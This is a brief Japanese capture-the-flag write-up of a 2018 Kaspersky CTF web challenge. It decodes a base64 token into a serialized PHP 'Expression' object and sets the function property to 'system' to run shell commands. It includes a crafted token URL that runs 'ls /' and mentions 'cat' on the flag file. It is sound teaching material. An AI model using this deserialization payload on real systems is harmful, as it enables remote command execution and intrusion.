これはコマンドインジェクションと呼んでいいの?
強いCTFerに教えてほしい。
解説
「1+2」とやると、Tokenが出てくる。
Token: TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Mzoic3VtIjtzOjE4Oi
IARXhwcmVzc2lvbgBwYXJhbXMiO2E6Mjp7aTowO2Q6MTtpOjE7ZDoyO31zOjk6InN0cmluZ2lmeSI7czo1OiIxICsgMiI7fQ==
Share itとすると、「http://expression.2018.ctf.kaspersky.com/?action=load&token=さっきのトークン」で演算が実行されている。
自分でトークンをうまく作って、これに載せるっぽい。
TokenはBase64なので、デコードする。
O:10:"Expression":3:{s:14:" Expression op";s:3:"sum";s:18:" Expression params";a:2:{i:0;d:1;i:1;d:2;}s:9:"stringify";s:5:"1 + 2";}
これはPHPのオブジェクトをシリアライズしたもの。参考
「種類:バイト数:値」で表現されるらしいので、
O:10:"Expression": # クラス名 3:{ # 要素数 s:14:" Expression op"; # プロパティ名 s:3:"sum"; # 値 s:18:" Expression params"; # プロパティ名 a:2:{i:0;d:1;i:1;d:2;} # 値 s:9:"stringify"; s:5:"1 + 2"; }
sは文字列、aは配列、Oはクラスになっている。
aは配列で、i:添字:?:値になっている。
なので、このクラスは
class Expression { public $expressionop = "sum"; public $expressionparams = [1, 2]; public $stringify = "1 + 2"; }
と読み替えられる。
ここでopで関数を指定して、paramsで引数を指定していると推測を立てる。
なので、関数をsystem、引数を任意のコマンドを入れると、任意のコマンド実行できる。
ここに自動でクエリを入れて、結果を返すpythonコードがある。
かっこいい。
ls /
http://expression.2018.ctf.kaspersky.com/?action=load&token=TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Njoic3lzdGVtI
jtzOjE4OiIARXhwcmVzc2lvbgBwYXJhbXMiO3M6NDoibHMgLyI7czo5OiJzdHJpbmdpZnkiO3M6NToiMSArIDIiO30=
これで/fl4g_h4r3が見える。
解説では「find /」とやると「/fl4g_h4r3」つまりflag hereがあるので、「cat /fl4g_h4r3」すると答え。